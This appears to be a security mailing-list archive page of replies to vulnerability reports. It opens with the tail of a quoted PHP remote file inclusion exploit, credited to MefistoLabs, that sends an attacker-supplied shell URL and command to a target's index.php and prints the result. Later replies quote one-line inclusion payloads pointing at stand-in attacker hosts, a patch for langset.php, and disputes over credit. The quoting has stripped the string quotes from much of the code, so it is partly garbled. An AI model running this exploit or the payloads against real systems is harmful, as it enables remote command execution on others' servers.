>    $cont++;if ($cont==15) {$cont=0; $result.="
"; $exa.="
";}
>   }
>  return $exa."
".$result;
> }
> $proxy_regex = (d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5});
> function sendpackets($packet)
> {
>   global $proxy, $host, $port, $html, $proxy_regex;
>   if ($proxy==) {
>     $ock=fsockopen(gethostbyname($host),$port);
>     if (!$ock) {
>       echo No response from .$host.:.$port; die;
>     }
>   }
>   else {
>     $c = preg_match($proxy_regex,$proxy);
>     if (!$c) {
>       echo Not a valid proxy...;die;
>     }
>     $parts=explode(:,$proxy);
>     echo "Connecting to ".$parts[0].":".$parts[1]." proxy...
";
>     $ock=fsockopen($parts[0],$parts[1]);
>     if (!$ock) {
>       echo No response from proxy...;die;
>     }
>   }
>   fputs($ock,$packet);
>   if ($proxy==) {
>     $html=;
>     while (!feof($ock)) {
>       $html.=fgets($ock);
>     }
>   }
>   else {
>     $html=;
>     while ((!feof($ock)) or
> (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
>       $html.=fread($ock,1);
>     }
>   }
>   fclose($ock);
>   #debug
>   #echo "
".$html;
> }
> function make_seed()
> {
>    list($usec, $sec) = explode( , microtime());
>    return (float) $sec + ((float) $usec * 100000);
> }

> $host=$argv[1];
> $shell=$argv[2];
> $cmd="";

> $port=80;
> $proxy="";
> for ($i=3; $i<$argc; $i++){
> $temp=$argv[$i][0].$argv[$i][1];
> if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
> if ($temp=="-p")
> {
>   $port=str_replace("-p","",$argv[$i]);
> }
> if ($temp=="-P")
> {
>   $proxy=str_replace("-P","",$argv[$i]);
> }
> }

> if ($proxy==) {$p=http://.$host.:.$port;}

> $packet ="GET
> ".$p."index.php?dvd_config_file=".$shell."?cmd=".$cmd."%00 HTTP/1.0
";
> $packet.="Host: ".$host."
";
> $packet.="Connection: Close

";
> sendpackets($packet);
> if (strstr($html,"mefistolabs"))
> {
> $temp=explode("mefistolabs",$html);
> die($temp[1]);
> }
> echo "Exploit ERROR";
> echo "www.mefistolabs.com";
?>>
> # MefistoLabs.Com

-- 
Best regards,
 BlackHawk                            mailto:hawkgotyou@gmail.com



From: software@sdecnet.com
Sent: Sat 18. Aug 2007 08:23
The entire langset.php file should be changed to:

<?php defined( _VALID_MOS ) or die( Direct access is prohibited. );
global $mosConfig_lang;
if (file_exists("$comPath/custom/".$mosConfig_lang.".php")) {
   include("$comPath/custom/".$mosConfig_lang.".php");
} else {
   require("$comPath/custom/english.php");
} ?>

The spam expolit occurs because the original file does not test VALID_MOS. This vulnerability exists in build 1.8.1 and earlier.


From: yollubunlar@yollubunlar.org
Sent: Mon 20. Aug 2007 23:53
http://yollubunlar.org/joomla-j-reactions-component-rfi-75.html

The entire langset.php file should be changed to:

<?php defined( _VALID_MOS ) or die( Direct access is prohibited. );
global $mosConfig_lang;
if (file_exists("$comPath/custom/".$mosConfig_lang.".php")) {
include("$comPath/custom/".$mosConfig_lang.".php");
} else {
require("$comPath/custom...

;)


From: sean@swmenupro.com
Sent: Fri 12. Oct 2007 03:59
Its not possible to get to line 12 by directly accessing the preview.php file.


From: security curmudgeon jericho@attrition.org
Sent: Fri 7. Dec 2007 02:11
: MEFISTO PreSents...

.. something already disclosed before!

: Script: RIG Image Gallery
: Script Download: http://sourceforge.net/project/showfiles.php?group_id=54367
: 
: Contact: ilker Kandemir <ilkerkandemir[at]mynet.com>
: 
: Exploit:  check_entry.php?dir_abs_src=http://attacker.php?

2006-06-20
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2006-3210
http://archives.neohapsis.com/archives/bugtraq/2006-06/0430.html


From: m3venge@yahoo.com
Sent: Fri 18. Jan 2008 17:01
in the latest version this is already fixed, for almost a year.

  if (strpos ($_SERVER[PHP_SELF], view_func.php) !== false)
  {
    exit ();
  }

before the include!

http://affectedsite.com/view_func.php?i=http://remotesite.com/justsomedi
r/&l=testfile.txt?
view_func.php will exit before the include.


From: admin@majorsecurity.de
Sent: Tue 7. Oct 2008 16:52
Dear SecurityFocus moderators.
Unfortunelly this bug was not found by Am!r (IrIsT?) like it has been credited in this advisory. It was originally discovered by David Vieira-Kurz of MajorSecurity and published on June 3rd 2006. 

BugTraq-iD: 345993 --> http://www.securityfocus.com/archive/1/435993

and BID: 18284 --> 
http://www.securityfocus.com/bid/18284

Original advisory: http://www.majorsecurity.de/index_2.php?major_rls=major_rls9


Best regards,

MajorSecurity.de